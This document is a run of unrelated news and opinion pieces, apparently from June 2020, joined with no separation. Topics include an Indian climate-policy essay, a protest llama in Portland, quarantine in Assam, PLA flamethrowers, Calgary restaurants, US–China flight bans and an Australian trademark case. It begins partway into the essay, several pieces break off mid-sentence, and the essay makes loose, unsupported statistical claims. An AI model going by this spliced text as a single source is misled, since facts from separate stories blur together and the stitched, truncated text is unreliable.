India should adopt policies that support all its activities aimed at reducing carbon footprints and bringing it to Zero Carbon Footprints by 2040. This will have huge economic benefit as it will promote environment, cleaner air, water, food by using clean energy which will reduce our mortality build immunity to ensure health of the nation like no other country. How to reduce carbon footprints has been much debated but without going into scientific sequestering carbon dioxide conundrum, I will rather use simple ways for the government to use footprints in COVID world. A host of activity that are done in offices could alternately be set off from homes. Promoting workers to work from home and supporting work-from-home-lifestyle and building a virtue out of work-from-home culture, incentivised by corporates and government. Government should incentivise companies to adopt work from home. Work from home will reduce carbon activity. It will reduce unnecessary activity employed by travelling miles per hour by spending fuel litres per hour of energy, building commercial building with energy consumptions like lumens light per hour to house people and watts per hour to air-cool them just to make them sit together in office and to create health-risk. Office an idea driven out of colonial mind-set for white collared-babus bossing around on lesser souls--technology has changed all that. They would rather be safer and more potential at home. Like for an example a bank for that matter. A bank is a simple business entity that keeps your money and gives it back to people on loan for interest. But it locks most of its capital in the assets like buildings, rents, employees welfare. None of its activities require physical contact with people or force them to sit together in commercial spaces barring few vaults that would need security. It will reduce capital employment into banks, people could use ATMs for physical currency and cards otherwise. Banks will be in profit, their employees will have more time to spend on their health happiness and economy will grow in double digits. What is true to a bank is true to most of the activities of other organizations and corporates unlike factories. The activities that we need to maintain would be production houses, factory employees and their foremen. But most jobs could easily be sourced to home. Like a CA firm, or a computer company, or app developer, or a digital newspaper, and a large number of corporations or an airline for that matter may not need palatial buildings to serve its customers buy tickets which may be bought online. Both in government and in private corporate maxim is often replayed and defined about a meeting -- a meeting is something where we go and together decide that there is nothing to be done. But meetings cost. Thats money. So a meeting from home is recorded and decisions not taken are reprimanded and good decisions are also rewarded faster. Decisions are made at the spur of the moment without being blurred into office politics and only sharp honest disciplined ones are rewarded. Companies future changes with focus and talent. Look at the benefits to a bank or an airline just by reducing carbon footprints. This will also reduce welfare activities like canteen, welfare, unnecessary wasting of time energy in chatter loitering and so on. Companies can expect no absenteeism and clock 100% optimization thus employees can expect a raise and claim benefit of the carbon credits by reducing dependence on imported fossil fuels and cutting down canteen welfare and improving performance.

Step 6: India to be a future Clean Energy Producing Country

The concept of free economy and its economic motor may guzzle power right till the end of every speck has an energy to unlock. New solar photovoltaic technologies are in place which store more energy per square inch of hour. By investing in R&D efforts of solar, wind and hydel, and other alternate energy resource--large plants that do not alter the vast vista of geography be sustainably built. By 2030, India should set a target reducing growth of its coal guzzling plants and outnumber them with clean energy. This will make India enter into a sustainable future clean energy country.

Step 7: Economic value of planet vs economic value created by man

Our environment is an economic entity not a commercialized entity an invaluable asset-entity that cannot be replaced economically. Every tree has economic value much larger than the economic value that humans produce under them. Every drop of water and every ray of sun is invaluable. Therefore, over-contamination of anything say water will not fetch value for the food that you produce out of the water and that food will be poisonous too and it will threaten your life. So the economic cost of contamination that will annihilate the humans from the planet is the value of every drop of clean water. If you look at it this way that the air we inhale and exhale and it was inhaled exhaled by our environment. The breath that I just inhaled was the breath that the tree exhaled followed by another human inhaled and exhaled. Economically speaking life is dependent on each other or each and everything on the water we drink, the air breathe the energy we consume is all transferred back like gushing water flowing out of Himalayan river is replaced in the glaciers again and again for eternity. Think again. The economic value of humans is nothing compared to the economic value of world around them. Governments should ensure this zero tolerance on environment degradation.

Step 8: The Most Critical

All factories whatever small big bigger should be fitted with Modern Effluent Treatment Plants to reduce their effluent footprint per hour. Government should effectively ban by police and policy the effluents tunnelling into drains to rivers. All local administration should be strictly told to do an audit and draw a number of unauthorised factories and activities in the area and effluent production that would contaminate the environment and water and ask them to make the information public and online so that people could also write comments and add to what district administration did not do. This will be done through community policing. Big drains that threw sewage or effluents into the fresh water source or rivers be banned. Sewage treatment is the duty and service responsibility of those employed and serving in cities or municipalities. Effluents treatment is the duty of factory or plant of unit. Fresh talents should be recruited with technology to map all such effluent and sewage contaminating points in the country through district administration or otherwise and after mapping all points big or small, such entry points be shut permanently. Further the most critical matter that India is faced with unresolved is that India only has 30 percent installed capacity of sewage treatment plants that is 70 percent less than its sewage production. And out of this 30% installed capacity only 15 percent of its treatment capacity would operate. In other words, 85 percent of our water is turning into sewage and effluents that is contaminating its water source once for all turning it into land of no water resource and Indias sewage and waste production is growing at 7 percent a year. If Indias sewage production remittance grows at this level, in a decade India may not have water for crops and drinking with mounds of waste landfills turning city landscape into ghettos of civilisation, thats the price we have to. So environment and ecological cost of effluent footprints to economic value of production need to be reduced before it makes the planet unsustainable. India should build a credible sewage treatment capacity network installed to clean its water resource and empty its bin once for all keeping in mind the future growth of sewage and waste production. Nothing could be far more important and critical than this.

Step 9: Zero Tolerance on Disposal and Reusable

In fact, in free economies to get to the economies of scale, a number of companies illegally outsource waste material that are further unlocked by mafia type businesses using kids and elderly that releases toxicity into soil water air food birds humans animals everything. These rogue industries further pamper mafiosi to build chain of small scale industries to be profited at the cost of environment degradation. Plastics is a major villain with no proper implementation of guidelines. In confusion all types of plastics are being used and thrown into rivers, drains, sea that find way back into food we eat, thats the price we pay. Waste materials contaminate our air, water, environment, soil, food further making our children sick to die of diseases. All this toxic waste release materials like uranium, cadmium, lead directly into our environment. Government should identify the links that the Companies reusing or outsourcing waste materials be banned. Even food making companies should also be given SOPs on disposal of food. Food disposal guidelines should be printed on the labels and any food label nearing expiry say a month before should either be recalled and disposed using stern environmental protocols after expiry through incineration or handed over to food banks for distribution among poor free of cost before expiry. In no case food or toxic material be allowed to exist in the environment or reused by labelling after its environmental friendliness tag expires.

(The author is an independent advisor in policy, strategy and governance)
The thousands of people who gathered in Portland, Oregon, on June 2 to protest the death of George Floyd and racial injustice welcomed an unusual ally: Caesar the No Drama Llama.

We wanted to show solidarity with everybody up there, his handler, Larry McCool, told TODAY. He just brings love and spreads the love.

While McCool, 66, and Caesar marched around 3 miles with protesters, hundreds of people stopped to hug the 5-year-old llamactivist or take selfies. Caesar loves meeting new friends, according to McCool.

HAPPENING NOW: Protestors gathering at 13th & Stark. Caesar the no drama lama is here too. People here telling me a big group downtown is headed this way. #PortlandProtests @KOINNews pic.twitter.com/AkWWVvvyf3  Jenny Young (@jennytyoung) June 3, 2020

He will just walk up to people and lean right against them or snuggle with them or ask them for attention, he said. He just wants somebody to hug him.

McCool said Caesar (pronounced "SAY-zar") has a temperament as friendly as a dog, and that its a myth that all llamas spit.

They have to be angry, mad, hurt or stressed before a llama will spit, so Caesar has no reason to, he said. Hes there for a good time.

Llama marches to protest the death of George Floyd. (Courtesy of Nakaycha Dent)

Caesar is one of 15 llamas who reside at McCools Mystic Llama Farm in Jefferson, Oregon, about 75 miles south of Portland. McCool said it was important to him to make the 150-mile round-trip drive with Caesar to lend support and hopefully a calming presence for both protesters and police officers.

When we got invited to the event (by a friend), I think the intent was to kind of take the edge off, he said. Nobodys going to tear-gas a llama, right?

Story continues

McCool and Caesar plan to march again at a protest this Saturday in Salem, Oregon.

Caesar has joined many marches and protests for a variety of groups promoting civil rights and equality, and appears at a variety of charity events.

A little girl smiles with a llama. (Ariel Knox)

The llama typically visits about 20 schools and nursing homes each month. During the coronavirus pandemic, hes been offering free walkabouts around the outside of care facilities for seniors.

The staff inside gets the residents ready, and then theyll be waiting for us at the window, McCool said. When their eyes light up and the excitement and the thrill that they get, its really, really worth it because they are shut in right now.

A man and a llama look in the window at a retirement home. (Ariel Knox)

Caesar used to visit elementary schools to offer hugs to students or the chance to read a book to a llama but now visits virtual classrooms around the country via Zoom. Teachers can request a free visit on Caesars Facebook page.

It is cool because I get to see the kids, and all of a sudden a llama pops up in their classroom, he said. Its fun to see the giggles and the laughter of the kids. The teacher knows about it, but its kind of a nice surprise for the kids.

McCool said hes grateful for the chance to help Caesar highlight important issues and spread llama love.

Lar (Ariel Knox)

I just want people to know that the purpose of Caesar the No Drama Llama is to draw the good intent out of people, he said. Hes here for good. I just feel really fortunate that I am the one that gets to provide him to the public and share the love that he gives to people. Hes just an amazing animal.
by Nirmala Carvalho

After returning to his village in Assam, 21-year-old Amosh Basumatary, is spending 14 days on a bamboo tree house despite testing negative. Heavy rains have taken a toll on the houses plastic sheet. Amosh is unable to get decent meals.

Mumbai (AsiaNews)  Amosh Basumatary, 21, from Sonitpur (Assam), was forced into quarantine on a tree house by fellow villagers after he returned home from Chennai, Tamil Nadu, on 26 May, for fear of the coronavirus.

Basumatary worked in a car seat manufacturing plant that reportedly shut down due to losses caused by the lockdown that left employees with the option of returning to their home states.

Basumatary said he already spent three nights at a quarantine facility in Dekhiajuli, a city in Sonitpur district. He was released after he tested negative for COVID-19, but as soon as he got home, villagers insisted he spend at least 14 days in isolation in a tree house.

According to reports, Ansaipur residents built the bamboo tree house on the outskirts of the village, which is close to the Assam-Arunachal Pradesh border. They insisted that Amosh spend another 14 days in solitary confinement as a precautionary measure, even though he spent three nights under institutional quarantine.

"I've completed four nights in the treehouse and have to spend ten more. Though this is not as comfortable as home, I am willing to spend the next ten days for the safety of other villagers," Basumatary said.

Recently, the state was hit by flash floods and heavy rains, which also affected Basumatarys quarantine in the tree house with heavy downpour taking its toll on the houses plastic sheet.

For the quarantined man, the discomfort is compounded by the lack of decent meals. Although he has been provided with 20 kg of rice, he would like to have some pulses and spices for his meals. His family is helping him with supplies.

I'm not aware of this specific case, said Kamaljyoti Borah, circle officer in Dhekiajuli. But we know of cases in villages in the area where residents have constructed huts for returnees to undergo home quarantine to stop the spread of the coronavirus.

Villagers are scared and behave in a proactive manner, he added. Additionally, most of the houses in the villages are small and don't have enough rooms to maintain social distancing according to the protocols.
"We dont expect to win every year and when we do it all goes back to the people who power this company every day."

To win once is good. But to win seven times is sensational.

Thats the sentiment inside Kinetic Vision, which just won a Top Workplace award for the seventh straight year.

Its a blind-faith effort  meaning we have to make investments in our culture up front in the belief that our programs will have a positive impact, said Jeremy Jarrett, Executive Vice President of Kinetic Vision. We always strive to be a great place to work, but its an amazing feeling when we get recognized for the work.

Jarrett revealed that one of the companys secrets to winning a Top Workplace award is having great benefits such as industry-leading paid time off, maternity and paternity leave, an employer-matched 401K plan, top-notch premium health insurance plans, as well as perks like half-day Fridays, grill outs, company parties, health club reimbursements, and recognition awards.

We have built a great company, but we have never lost sight that it all walks out the door at the end of the day. For us, people are not assets, they are the heart and soul of our company, said Jarrett.

The competition for a Top Workplace award is tough. Over 57,000 employees across a broad spectrum of Cincinnati companies are invited to rate their employers through anonymous surveys. The Cincinnati Enquirer media group, along with their research partner Energage LLC, conducts the Top Workplace survey and asks about various company attributes including culture, execution, and leadership. Those scores are ranked and only the top tier companies win the accolades of being a Top Workplace.

The real story though isnt from the executives, its from the employees. Three employees at Kinetic Vision were interviewed to find out how they felt about the company. All three have worked at the company for at least seven years  which means they voted for the Top Workplace award seven times.

Ryan Barton started as an engineering co-op in 2013 in the companys Modeling + Simulation group. He is now helping to build new technologies in Kinetic Visions Machine Learning + Training Data team. When asked about the Top Workplace award and what it means to him, he said Seven years has really flown by and I couldn't imagine working with a better group of people during that time."

Laura Wiley has risen from joining Kinetic Vision as a biomedical engineer in 2013 to a Team Lead in the Product Design + Development group. I enjoy the challenge of medical device projects, and working at Kinetic Vision has given me the opportunity to learn so much more than I thought I would. While pushing through the challenges, I have formed great relationships with my co-workers and clients. The drive I see in my coworkers is why I feel lucky to be a leader and strive to improve Kinetic Vision every day, said Wiley. In addition to being a new mother, she is also actively involved in helping Kinetic Vision encourage young women to pursue engineering careers.

I always look forward to doing the survey since it gives us another way to take stock of where we are as a company said Collin Loch, a mechanical engineer who joined the company in 2013. As a Group Manager in the Product Design + Development group, Loch has worked with several of Kinetic Visions Fortune 500 clients. There was a time last year when I didn't think we would receive this recognition another year. Winning for this seventh year goes to show why Kinetic Vision is a Top Workplace - management is open to employee critiques and everybody is capable and willing to adapt to each other and our customers' changing needs.

All three agreed that as seven year employees they were looking forward to continuing their careers at Kinetic Vision. This is perhaps best captured by Ryan Barton who simply said Its on to the next seven!

When asked if he had any other secrets to winning the award, Jarrett said We start every year asking how we can improve  how we can raise the bar again, adding We dont expect to win every year and when we do it all goes back to the people who power this company every day.

To learn more about the Cincinnati Enquirer Media and Energage Top Workplaces award, click here.

About Kinetic Vision:

Kinetic Vision integrates advanced technologies to accelerate product innovation within a broad array of industries including medical, consumer electronics, transportation, aerospace, and consumer packaged goods. The company is an industry leader in multiple categories, including smart product and medical device development, packaging innovation, product quality engineering, software/app development, machine learning, AR/VR/XR, and visual communication. Kinetic Visions breadth of expertise and full suite of software and hardware tools enables them to meet complex product development challenges with an efficient concept-to-production solution. Kinetic Vision is based in Cincinnati, Ohio and has been developing cutting-edge products using advanced technologies for local, national, and Fortune 500 companies since 1988. To contact the company, click here. The company's website is: https://kinetic-vision.com/.
Photo credit: China Military Network

From Popular Mechanics

Recent pictures out of China indicate the Peoples Liberation Army still uses the flamethrower.

Invented more than a century ago, most armies have removed flamethrowers from their inventories.

The PLA is also known to use its flamethrowers to kill murder hornet nests, which could help with Americas latest invasive species.

A new series of propaganda pictures out of China suggests that the Peoples Liberation Army Ground Forcesotherwise known as the Chinese Armis still using tried and true flamethrowers. An invention dating back to World War I, the PLA is one of the worlds few holdouts, though their use against Chinas own murder hornet population might prompt the U.S. Army to break out its own flame projectors.

According to China Defense Blog , the Chinese Army is keeping its flamethrowers just as it is modernizing its force structure. Flamethrowers are still part of the table of organization and equipment for the combat engineering companies of the armys new combined arms brigades. Like the U.S. Army and other armies, the PLA is moving from larger divisions to smaller, more agile brigades.

Flamethrowers were invented by the German Army in World War I and quickly copied by most of the industrialized powers. Flamethrowers are typically used by combat engineers to inject a jet of flame through the bunkers narrow opening, incinerating anyone inside. The U.S. and Soviet armies fielded flamethrowers during the early years of the Cold War, but the weapons had been removed from service by the 1970s. Flamethrowers rarely have a range greater than 150 feet, and the widespread adoption of fully automatic weapons makes it very difficult for flamethrower carriers to get their weapons within range of a bunker or other target.

Chinas service flamethrower is the Type 74 , itself originally based on the Soviet LPO-50. The flamethrower consists of two tanks of thickened gasoline, giving a total firing time of 2-3 seconds, with an effective range of 40 to 50 meters (131 to 164 feet). The gasoline is ignited by a starter system that uses blank gun cartridges.

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Recent developments may force the U.S. Army to change its position on flamethrowers. As almost everyone is aware, entomologists recently discovered colonies of the deadly V. mandarinia, otherwise known as the  murder hornet, " in Canada and the United States. In 2013, the Chinese Army used a flamethrower to destroy a five-foot-wide murder hornet nest resting 100 feet in the air. Hornets from the nest had reportedly already killed one person and the locals refused to take any more chances.

Exactly how the U.S. Armyor National Guardwould respond to a murder hornet destruction request is not clear.



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JNS)  The most pressing issue facing Israel and American Jews is whether the newly-formed Netanyahu-Gantz unity government will extend Israeli sovereignty over portions of the West Bank as it has pledged to do. It is widely anticipated that such a move will be announced by July 1. The proposed action has generated considerable controversy among those who enthusiastically favor such a plan and those who vehemently oppose the idea.

It is not surprising that, among American Jewish groups, the usual suspects have come out to denounce the proposed move. Progressive Jewish organizations ar...
The Member of Parliament for Kumbung, Ras Mubarak is asking African men to marry two or more wives.

His reason is that having more than one wife is an exciting thing to do.

According to him, the idea of a single wife is un-African and must not be binding on African men.

Speaking to Bola Ray on Starr Chat today, the lawmaker insists that marrying two wives has calmed him down.

I will encourage every African man to have two wives or more if you can, it is an exciting thing to do. The idea of one wife is not an African thing, we just copied from the West. Im first African man before a Muslim, marrying two wives has made me calmer, he stressed.

He further indicated that no job entices him except marijuana cultivation.

According to him, he will go into weed farming after exiting Parliament in December.

Im going to cultivate cannabis but not for smoking rather for industrial use. Marijuana cultivation is a multimillion job opportunity and other places are making so much from it.
We are not planning to lift the mask regime in Ukraine, Minister of Health of Ukraine Maksym Stepanov said during a press briefing in Kyiv on Friday.

"The government introduced the adaptive quarantine regime, introduced some stages of quarantine exit, but it has not been repealed. I want to remind you that people with the coronavirus are ill - today there are 553 people, there were 588 of them yesterday. The strategy we chose is the containment strategy but that's in no way abolish the mask regime and maintaining social distance," he said.
Workers at a garment-textile firm in HCM City (Photo: VNA)

Speaking at a press conference on June 4, Tan reported that 47,533 workers of 2,862 enterprises in the city are being laid off as a result of the pandemic. Local authorities have provided assistance for 20,000 employees, he said.

Earlier, Chairman of the municipal Peoples Committee Nguyen Thanh Phong had requested more efforts to perform the dual task of recovering the economy while fighting COVID-19.

He said short-term measures will help businesses survive in the market in the first stage. Later, the citys economy and market will be restructured to serve post-pandemic development.

About long-term policy, the city will optimise public investment by fiscal measures, ensure social welfare for all citizens and help workers keep their jobs, he added.

According to the municipal Department of Planning and Investment, the total retail of goods and services in the city surpassed 506 trillion VND in the first five months of this year, down 4.9 percent year-on-year.

The citys industrial production index went down 7.16 percent annually.

However, its exports rose by 6.3 percent yearly to about 17 billion USD, mostly thanks to increases in earnings from computers, electronics and spare parts, vegetables and fruits.

The output of agro-forestry-fisheries topped 5 trillion VND during the five months, up 2.2 percent year-on-year.

Among four key industries, electronics grew by 11.83 percent while chemicals, rubber and plastics expanded by 8.37 percent.
The RSS wants three nominees inducted: Tejaswi Surya, the young BJP MP from Bengaluru South, Vinay Sahasrabuddhe, a Rajya Sabha member, and former Maharashtra chief minister Devendra Fadnavis, reveals R Rajagopalan.

IMAGE: Prime Minister Narendra Damodardas Modi chairs a meeting of the Union Cabinet, June 3, 2020. Photograph: Press Information Bureau

Prime Minister Narendra Damodardas Modi plans to shuffle his council of ministers in early September and bring in new, younger faces, technocrats and public figures.

A few ministers will be sent packing, while the portfolios of some others may be reallocated.

While former Congress leader Jyotiraditya Scindia, who joined the Bharatiya Janata Party on March 11, is certain to be made a Union minister, it is learnt that the Rashtriya Swayamsevak Sangh is pushing for three names: Tejaswi Surya, the young Bharatiya Janata Party member of Parliament from Bengaluru South, Vinay Sahasrabuddhe, a Rajya Sabha member, and former Maharashtra chief minister Devendra Fadnavis.

The exercise was originally slated to be carried out mid-year, after Modi 2's first anniversary, but was delayed due to the outbreak of the coronavirus pandemic.

With the monsoon session of Parliament all set to be convened on the fourth Monday of July, and concerned about presenting a dynamic image of his government, Modi is determined to go ahead with the reshuffle.

He has already conducted three rounds of parleys with his confidant, Home Minister Amit Anilchandra Shah, to to work out permutations and combinations of the exercise.

BJP President Jagat Prakash Nadda is also in the loop, as the shakeup will extend to the BJP organisation as well.

Once Team Modi is finalised, Team Nadda will also fall in place.

Modi is keen to get new National Democratic Alliance nominees into his ministerial team, and among the names mentioned is Chirag Paswan of the Lok Janshakti Party. His father, Ram Vilas Paswan, currently the Union minister for consumer affairs, turns 75 next year, and is expected to focus on the Bihar assembly election and state politics.

Tamil Nadu Deputy Chief Minister O Panneerselvam's son and the MP from Theni, P Raveendranath Kumar, is expected to be the All India Anna Dravida Munnetra Kazhagam nominee.

The Janata Dal-United may also get a berth in the central ministry, given the Bihar assembly election that will follow in October or November.

The Biju Janata Dal may settle for the deputy speakership of the Lok Sabha, it is learnt, the post lying vacant since the 17th Lok Sabha was constituted last year.

Sources said there will be no change in the defence, home, finance and external affairs portfolios -- in other words the existing Cabinet Committee on Security will not be disturbed.
MIAMI, June 5, 2020 /PRNewswire/ -- SkinPro, a Miami-based skin care company that recently celebrated its tenth anniversary, is pleased to announce the launch of its new website.

Known in the world of skin care as a customer service focused brand, the new website platform houses all six brands owned and operated by SkinPro. The company is proud to finally offer a one stop shop that allows customers to choose from their favorite brands across 16 categories of skin care treatments.

"We have been fortunate to gain a cult-like following with every brand we introduce. Where we missed the mark was providing our customers a platform that allowed them to buy all of our brands under one marketplace," said company Founder and President Tim Schmidt.

Offering the flagship SkinPro products, along with Elite Serum Rx, Delfogo, Medical Grade Skin Care, DNA Cosmeceuticals, and Seductiva brands, the website also offers customers the ease of subscribing to producers for auto-delivery on a schedule ranging from every one to three months, allowing them to save 20% on their cost along the way.

"With the social distancing environment set in place, this was a function that immediately became popular with our regular customers. As a consumer of health products myself, I tend to gravitate towards ordering from companies that allow me to make re-ordering easy, and it's a nice bonus to save money along the way," added Schmidt.

SkinPro offers targeted skin treatments for both men and women. Known for their use of imported laboratory peptides with proven clinical testing, the company also offers organic skin treatments and even CBD products.

"The focus in early years was always on facial products because most people care most about their face," added Schmidt. "After listening to our customers and studying the market, we moved into body products and intimate targeted treatments," he concluded.

For more information, visit https://www.SkinPro.com.

Media Inquiries: Tim Schmidt

Email: [email protected]

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Cafe Wisk partners Jordan Castrillon and Evan Dunn opened their low-carb, high energy eatery in Inglewood late last year, but the COVID-19 pandemic forced them to upend their business model.

Castrillon says if they didn't change, the pandemic would have killed their business.

Restaurant owners across the city face the same challenges. They've been allowed to reopen, but new health restrictions have added extra costs, and seating limits have reduced not only the amount of people they can serve but also their profits.

During the peak of the pandemic, it's estimated the sector shed 95,000 jobs  two-thirds of the entire workforce in Alberta, according to Restaurants Canada, an industry advocacy group.

Owners face a new normal that includes convincing skittish diners to come back to their restaurants, which might feel more like a visit to the hospital since servers are required to wear gloves and face masks.

Cafe Wisk, the small quick-serve restaurant in Inglewood, had seating for only a dozen or so people. But new health regulations made Castrillon and Dunn realize dine-in service in such a tight space wouldn't work.

So the tables have been stacked up or moved together to display dozens of bags of buns that are ready for delivery or pickup.

The keto-friendly, gluten-free buns along with some cream-filled desserts are pretty much the only items that survived the menu purge. Paninis, sandwiches and soups have been dropped.

Bryan Labby/CBC

Castrillon says the pandemic forced him and his business partners to rejig the menu and their entire business model. He says if they didn't pivot to focus on takeout and online ordering, they wouldn't have survived.

He compares the past few months to a hellish winter storm.

"It's like you're in this fog or whiteout blizzard and you can only see a metre in front of you"

Castrillon says they closed the cafe for a week to regroup and relaunch with their buns and desserts taking centre stage. Pictures were taken of the tasty treats, and their website was overhauled to highlight their new takeout-only operation. The focus is now on online ordering, building new partnerships with other restaurants and increasing their social media presence.

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It was all part of their longer-term plan, but COVID-19 prompted the immediate reboot.

"If I hadn't had an online presence, if I hadn't gone and done my website, I literally, last month, that would have been game over."

He says his investors  his parents and brother  would have suffered tens of thousands of dollars in losses.

"We have a lot at stake."

And the fog has yet to lift for his business and arguably the entire restaurant industry.

The future of dine-in

Ede Rodrigues and his wife opened up Gaucho Brazilian Barbecue on Macleod Trail a decade ago. They also have a location in Canmore.

One of the highlights of the Gaucho dine-in experience has been a server delivering a skewer loaded with meat right to your table. The carver would shave off some beef and place it on your plate. That tradition has been put on the chopping block.

A server will now stand behind a newly constructed Plexiglas cart where another server will gather an order and then deliver it to your table.

It's unclear if the Gaucho salad bar and buffet will ever come back.

And, of course, they're allowed only half of their full capacity, to ensure proper physical distancing in the restaurant.

Fifty per cent capacity is how the owners describe a "very, very quiet" night at the restaurant. It's not enough to pay the bills or keep his servers happy.

Bryan Labby/CBC

"The servers, the cooks, they're all talking about  'wow, how much work it is and the money is not there,'" Rodrigues said.

The family business has received assistance from the federal government through a small business loan and is using the 75 per cent wage subsidy to pay the roughly 16 employees who've agreed to come back to both locations.

"Without that, I don't think we'd be able to really reopen."

Rodrigues says he's "extremely" worried about the future of his business, but he's trying to stay positive.

"I believe the future will be better, it's just going to take a little time," he said.

He says he hopes that once people understand all of the cleaning and safety precautions that are being done, customers will feel more confident and will come back.

"We just got to hold on."

Will restaurants recover?

Restaurants Canada says a survey of its members showed that half of independent restaurant owners did not pay their rent in April and May and a quarter of them did that without permission from their landlords to postpone those payments.

The group's vice-president for Western Canada says even with a federal wage subsidy and a possible break on rent, many operators may not be able to survive because of the limited seating capacity. He says a big hurdle is the increased startup costs related to the new health and safety requirements for restaurants.

"Many of them, especially the smaller ones, are saying, 'I need some sort of working capital to be able to reopen because I've used all my reserves,'" said Mark von Schellwitz.

Bryan Labby/CBC

He says new training and cleaning protocols along with PPE (personal protective equipment) and Plexiglas requirements can cost as much as $20,000 for some operators.

He believes the provincial government should offer startup grants for operators to help cover those costs.

Von Schellwitz says the survey showed 10 per cent of restaurant operators across the country have already decided to close permanently. While others are taking a wait-and-see approach to gauge how the reopened restaurants are faring and whether customers actually want to come back.

Set to relaunch

Calgary's Creative Restaurants Group didn't swing open its doors when the province moved to Stage 1 of the economic relaunch on May 25 in Calgary.

The group, which owns and operates Cibo 17th, Bonterra Trattoria, Free House and others, is still putting together its operational plans, which include new seating arrangements, safety measures for staff and customers and securing all of the necessary PPE for servers and kitchen staff. It's also building new dividers for its patios.

Bryan Labby/CBC

"It's been a challenge, it's been hard," said executive chef Glen Manzer, who is also the group's chief operating officer.

"We just wanted to take it a little bit slower  talk with the staff a little bit, make sure their safety's there, and that the guests feel safe and comfortable in our spaces," said Manzer.

They expect the 50 per cent occupancy rule to remain in place through the summer, if not longer.

The company just launched pickup and delivery service at some of its restaurants this week and is planning to reopen some locations June 17.

Manzer says one of the biggest challenges is going to be trying to make everyone feel comfortable in a new environment that will feel much different than what dinners are used to. He expects the "new normal"  spacing between tables, servers wearing masks and gloves, dividers between tables  to be around for months.

"It's gonna be hard to try and make people feel comfortable while we're wearing gloves and masks," he said.

'Opportunity hidden in every disaster'

Back at Cafe Wisk, Castrillon says he's feeling positive about the future since his team has adopted their new business model.

"There's opportunity hidden in every disaster," he said.

While earlier plans to expand may be on hold, he's confident they're on the right track.

And he has some advice for others in the industry who are also looking to diversify from dine-in only service. He says the shift to takeout and a push to get his products into other restaurants and shops might help weather this storm because he feels the status quo is untenable.

"If they're not adjusting  they're like sitting ducks," said Castrillon.

Bryan Labby is an enterprise reporter with CBC Calgary. If you have a good story idea or tip, you can reach him at bryan.labby@cbc.ca or on Twitter at @CBCBryan.
For many drivers, car insurance might be too expensive. Fortunately, there are several ways to lower costs. Adopting better driving habits and modifying coverage parameters will help you save money , said Gurgu C, Project Manager of Internet Marketing Company.

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The Trump administration will not be allowing Chinese airlines any entry into the US, as both nations engage in another row.

It began with the announcement that President Trump is cancelling all Chinese carrier flights in the US, starting June 16, as a move to force Beijing to open China to air travel from the US, reported by Reuters.

In the tensions of the two countries, one victim is their air carriers that are caught in the crossfire of Washington and Beijing. Both of the two largest economies could ill afford it at this time.

According to the U.S. Department of Transportation, this measure will penalize China for not keeping its end of the agreement in regard to the air carriers' flights between the two countries. Lately, both nations have been at each other's necks looking for a fault in the coronavirus pandemic, and the current situation in Hong Kong that has them at odds, according to Iran Press.

The order issued will affect these Chinese air carriers like Air China, China Eastern Airlines Corp, China Southern Airlines Co, Hainan Airlines Holding Co, Sichuan Airlines Co, last is Xiamen Airlines Co, that are doing about four round trip flights to the US every week, this order will have a severe effect on their operations too.

For American air carriers, Delta Air Lines and United Airlines, they have requested a resumption of flight into China when they start operations, which was the case when Chinese airlines were flying in the pandemic.

Delta Airlines released a press statement last Wednesday saying that they support and thank the US government's lead to protect their rights and keep everything fair. As for United, they expressed eagerness in resuming service from the US and China, "if there will no problems anymore," confirmed in CNBC.

Also read: Chinese Grad Students With Ties to Military Schools Face Expulsion as US Cancel Visas

China stated that it does not know when rules will be adjusted to permit US airlines to resume passenger flights into China, an order signed by the Transportation Department's top aviation official Joel Szabat said.

As verification, the department said that Chinese carriers will be able to have the same number of flights, equal to what China allows, the department mentioned in a statement.

When asked for comment, the Chinese ambassador did not comment on the query.

What happened on May 22?

On this date, the US government imputed that China had no intention for the resumption of US international flights. They instructed these companies to set flight schedules in conjunction with the US administration.

Many aspects of the US-China row are seeping into many aspects of their relationship, turning adversarial at every opportunity and affecting them.

Chinese airlines and their limited schedules

For now, several Chinese airlines are only doing one flight a week on a round trip schedule that goes from China to the US and back. Although, there had been extra flights that were chartered to take Chinese students leaving the US, back to China, said the New York Post

Carriers and their destinations

Sources have revealed that airlines like Hainan Air want to begin flights to JFK airport and Chongqing in July, others have a preference for Los Angeles or New York for China Eastern it wants to start flying to Chicago and San Francisco soon.

With the Trump administration not keen to allow Chinese entry, this will mean no US carriers will go to China, or until things get cleared out.

Related article: China Secretly Waited for 6 Days Before Announcing COVID-19 Outbreak, WHO Reveals

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
A Sydney burger chain has been ordered to hand over its signs, packaging and promotional material to lawyers for US fast-food giant In-N-Out Burger after the Federal Court found it was continuing to call itself "Down N' Out" after losing a trademarks fight.

In the latest decision in the drawn-out bun fight, Federal Court Justice Anna Katzmann said on Friday she had "no doubt" the Coogee-headquartered Hashtag Burgers would continue to infringe In-N-Out's trademarks and "mislead consumers" unless ordered to stop.

Food fight: In-N-Out sued Down N' Out in the Federal Court.

In February, Justice Katzmann ruled In-N-Out had proved its case of trademark infringement, passing-off and misleading or deceptive conduct, in a case examining "the line between inspiration and appropriation".

Justice Katzmann said the Australian operators "sailed too close to the wind" and sought to attract customers "by having them wonder whether Down-N-Out was, indeed, In-N-Out Burger, perhaps a down-market or Down Under version".
Source: Xinhua| 2020-06-05 18:56:00|Editor: huaxia

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ANKARA, June 5 (Xinhua) -- Turkey's three opposition deputies were arrested on early Friday after their parliament statues were revoked.

Leyla Guven and Musa Farisogullari from Peoples' Democratic Party (HDP) and Enis Berberoglu from Republican People's Party (CHP) were stripped of their seats in the parliament on Thursday after the final verdict from the Supreme Court of Appeals over their cases.

Ruling Justice and Development Party (AKP) has 291 deputies in the 600-seat assembly, while the CHP now has 138 seats, keeping it the main opposition party in Turkey, and the HDP has 58 seats.

Berberoglu was sentenced to 25 years in prison in 2017 on espionage charges of leaking footage to a journalist showing Turkish intelligence trucks being stopped en route to Syria in January 2014.

He was released from prison after 15-month imprisonment and re-elected for the parliament in the 2018 elections.

Guven was released from prison in January 2019 after an 11-week hunger strike. She was accused of "conducting terror activities" following her statements and social media posts on Turkey's "Operation Olive Branch" launched against the Syrian Kurdish People's Protection Units in northwestern Syria.

Farisogullari was sentenced to nine years in prison for being in the Kurdish Communities Union which is accused of being affiliated to the outlawed Kurdistan Workers' Party (PKK). Enditem
Austria has nearly doubled its borrowing plans in order to help cushion its economy from the worst of the coronavirus crisis, the latest sign of the drastic funding needs being drawn up across the continent.

The country will now raise about 60 billion euros ($68 billion) from debt operations in 2020, an all-time high, according to the Treasury. That compares to a prior estimate of just over half that. At least 35 billion euros will be by way of government bond offerings.

